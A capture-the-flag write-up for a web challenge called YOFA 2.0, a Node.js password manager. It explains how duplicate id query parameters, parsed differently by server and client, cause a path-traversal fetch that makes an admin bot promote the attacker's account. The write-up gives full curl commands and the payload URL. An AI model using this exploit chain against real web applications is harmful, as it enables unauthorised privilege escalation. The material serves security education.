YOFA 2.0
YOFA 2.0
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: admin_bot_csrf_exploitation, client_side_parameter_pollution_via_duplicate_query_params, jwt_role_escalation_via_relogin, parseint_array_coercion, relative_path_traversal_in_fetch
Summary
Task: Node.js/Express password manager with JWT auth, admin bot (Puppeteer), and CSRF protection. Vulnerability is client-side parameter pollution where duplicate query params are parsed differently by server (parseInt on array) vs client (last value from getAll). Solution: craft URL with two id params — first passes server auth, second causes client-side fetch to traverse path to /admin/addAdmin, promoting attacker's user to admin via the bot's session.
YOFA 2.0 — Bug Makers CTF
Description
Как вы отнесетесь к тому, что теперь ваши секреты и пароли будут находиться в надёжном, зашифрованном месте? Прекрасно? Попробуйте наш новый сервис YOFA!
English summary: A password/secrets manager web application called YOFA. The goal is to access the admin-only /admin/flag endpoint. Source code is provided as app_public.zip. This is version 2.0 — the first version had an unintended solution (admin password leaked in config/init-db.js), which was patched here by replacing it with "placeholder".
Analysis
Architecture
The application is built with Node.js + Express 5 + EJS templates + PostgreSQL:
- Authentication: JWT-based, stored in cookies. Critically,
httpOnlyis NOT set. - CSRF protection: Uses
@dr.pogodin/csurfwith cookie-based tokens, applied globally. - Admin bot: A Puppeteer-based bot at
/reportthat accepts a URL, creates an admin JWT, sets it as a cookie on thelocalhostdomain, and visits the URL. - Flag: Served at
GET /admin/flag, gated byreq.user.role !== "admin".
Key Vulnerability: Client-Side Parameter Pollution
The profile page at /user/profile?id=X has a critical discrepancy between how the server and client handle the id query parameter.
Server-side (userController.js):
javascript read-only • copy allowedconst userId = parseInt(req.query.id); if (req.user.id !== userId && req.user.role !== "admin") { return res.status(403).json({ error: "Access denied" }); }
When Express receives ?id=437&id=../../admin/addAdmin, req.query.id becomes an array ["437", "../../admin/addAdmin"]. JavaScript's parseInt() on an array first converts it to a string via .toString() → "437,../../admin/addAdmin", then parses the leading digits → 437. So the server sees a valid user ID.
Client-side (profile.ejs):
javascript read-only • copy allowedconst urlParams = new URLSearchParams(window.location.search); const profileIds = urlParams.getAll("id"); const profileId = profileIds[profileIds.length - 1];
The client-side code uses getAll("id") and takes the last value → "../../admin/addAdmin".
This value is then used directly in a fetch() call:
javascript read-only • copy allowedfetch("/log/" + profileId, { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ userId: "<%= user.id %>", action: "Visited user profile with id=" + profileId, _csrf: csrfToken }) })
When profileId is ../../admin/addAdmin, the fetch URL becomes /log/../../admin/addAdmin, which the browser resolves to /admin/addAdmin. This is a POST request with credentials: "include", so the admin bot's JWT cookie is sent along. The body contains userId (the profile owner's ID, server-rendered via EJS) and a valid CSRF token (also server-rendered).
The addAdmin Endpoint
javascript read-only • copy allowed// routes/admin.js router.post("/addAdmin", authMiddleware, userController.addAdmin); // controllers/userController.js exports.addAdmin = async (req, res) => { const { userId } = req.body; if (req.user.role !== "admin") { return res.status(403).json({ error: "Access denied" }); } const updatedUser = await User.updateRole(userId, "admin"); res.json({ message: "Role updated", user: updatedUser }); };
This endpoint promotes any user to admin — it only checks that the requester is admin, not that the target user should be promoted.
CSRF Token Bypass
The CSRF token is rendered server-side into the page via <input type="hidden" id="csrfToken" value="<%= csrfToken %>">. When the admin bot visits the profile page, the server generates a valid CSRF token for the admin's session. The client-side JS reads this token and includes it in the fetch body as _csrf: csrfToken. Since @dr.pogodin/csurf with cookie-based tokens validates the _csrf body field, the CSRF check passes.
Why the Bot's Cookie Works
The admin bot sets its cookie on domain: "localhost" and the crafted URL points to http://localhost:3000/.... Since the application runs on port 3000 inside the Docker container, the cookie is sent with all requests to localhost:3000, including the path-traversed fetch to /admin/addAdmin.
Solution
Step 1: Register a user account
bash read-only • copy allowed# Get CSRF token curl -s -c cookies.txt http://83.222.17.86:3000/csrf-token # {"csrfToken":"..."} # Register curl -s -b cookies.txt -c cookies.txt -X POST http://83.222.17.86:3000/auth/register \ -H "Content-Type: application/json" \ -H "CSRF-Token: <csrf_token>" \ -d '{"username":"testuser123x","password":"testpass123"}' # {"message":"User registered","user":{"id":437,"username":"testuser123x"}}
Note the returned user ID (437 in this case).
Step 2: Login to get JWT
bash read-only • copy allowedcurl -s -b cookies.txt -c cookies.txt -X POST http://83.222.17.86:3000/auth/login \ -H "Content-Type: application/json" \ -H "CSRF-Token: <csrf_token>" \ -d '{"username":"testuser123x","password":"testpass123"}' # {"message":"Login successful","id":437}
Step 3: Report the crafted URL to the admin bot
The payload URL exploits client-side parameter pollution:
http://localhost:3000/user/profile?id=437&id=../../admin/addAdmin
How each component processes the dual id parameter:
| Component | Sees id as | Result |
|---|---|---|
Express req.query.id | ["437", "../../admin/addAdmin"] | — |
parseInt(req.query.id) | parseInt("437,../../admin/addAdmin") | 437 ✓ |
| Server auth check | req.user.role === "admin" (bot is admin) | Passes ✓ |
urlParams.getAll("id") | ["437", "../../admin/addAdmin"] | — |
profileIds[last] | "../../admin/addAdmin" | Path traversal payload |
fetch("/log/" + profileId) | fetch("/log/../../admin/addAdmin") | Resolves to /admin/addAdmin |
POST body userId | "<%= user.id %>" → "437" (EJS-rendered) | Our user ID |
POST body _csrf | Admin's valid CSRF token | CSRF bypass ✓ |
| |
Submit the report:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST http://83.222.17.86:3000/report \ -H "Content-Type: application/json" \ -H "CSRF-Token: <csrf_token>" \ -d '{"url":"http://localhost:3000/user/profile?id=437&id=../../admin/addAdmin"}' # Thanks for your report
The admin bot visits the URL → the profile page loads for user 437 → client-side JS fires fetch("/log/../../admin/addAdmin") → browser resolves to POST /admin/addAdmin with body {userId: "437", _csrf: <valid_token>} → user 437 is promoted to admin.
Step 4: Re-login to get updated JWT
The JWT encodes the role at login time. After the bot promotes our user, we must re-login to get a new token reflecting the admin role:
bash read-only • copy allowedcurl -s -b cookies.txt -c cookies.txt -X POST http://83.222.17.86:3000/auth/login \ -H "Content-Type: application/json" \ -H "CSRF-Token: <csrf_token>" \ -d '{"username":"testuser123x","password":"testpass123"}'
Step 5: Access the flag
bash read-only • copy allowedcurl -s -b cookies.txt http://83.222.17.86:3000/admin/flag